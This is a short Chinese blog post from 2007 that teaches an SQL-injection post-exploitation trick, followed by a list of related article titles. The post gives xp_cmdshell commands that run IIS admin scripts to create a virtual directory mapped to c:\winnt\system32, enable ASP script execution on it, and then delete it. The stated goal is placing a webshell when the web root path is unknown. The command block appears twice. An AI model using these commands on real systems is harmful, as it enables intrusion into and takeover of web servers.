SQL注入建立虚拟目录,找Web绝对路径!
2007-01-16 00:00
232 查看
我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虚拟目录win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
让win句有解析asp脚本权限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
删除虚拟目录。
找不到web绝对路径的一种解决办法,
http://21o.net/h4x0r
403错误,表示虚拟目录建好了。。。
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虚拟目录win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
让win句有解析asp脚本权限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
删除虚拟目录。
找不到web绝对路径的一种解决办法,
http://21o.net/h4x0r
403错误,表示虚拟目录建好了。。。
相关文章推荐
- sql注入建立虚拟目录,免得找web绝对路径
- SQL注入建立虚拟目录,免得找Web绝对路径!
- 由%5c爆库漏洞研究的绝对路径,相对路径和虚拟目录
- ASP.NET将Web站点下的绝对路径转换为虚拟路径
- iis6,web服务扩展无“ASP.NETv2.0.50727”的解决及虚拟目录的建立 3ff8
- 在Web安装工程中为虚拟目录指定不同的本地路径
- Symfony2获取web目录绝对路径、相对路径、网址的方法
- 将Web站点下的绝对路径转换为虚拟路径
- ASP.NET根路径的获取和将Web站点下的绝对路径转换为虚拟路径的两种方案
- ASP.NET根路径的获取和将Web站点下的绝对路径转换为虚拟路径的两种方案
- symfony2取得web目录绝对路径、相对路径、网址的函数是什么
- (转)WEB程序打包详解:(连接SQL2005数据库,修改配置文件,建立虚拟目录)
- 将Web站点下的绝对路径转换为虚拟路径
- MyEclipse 修改虚拟路径 按照教程找不到Web目录
- SQL注入建立虚拟目录
- java 取得虚拟目录对应的绝对路径
- 转:如何从普通Java类中获取WEB-INF目录绝对路径
- WEB程序打包详解:(连接SQL2005数据库,修改配置文件,建立虚拟目录)
- 查看WEB绝对路径目录命令(转)
- 将web站点下的绝对路径转换为虚拟路径_asp.net技巧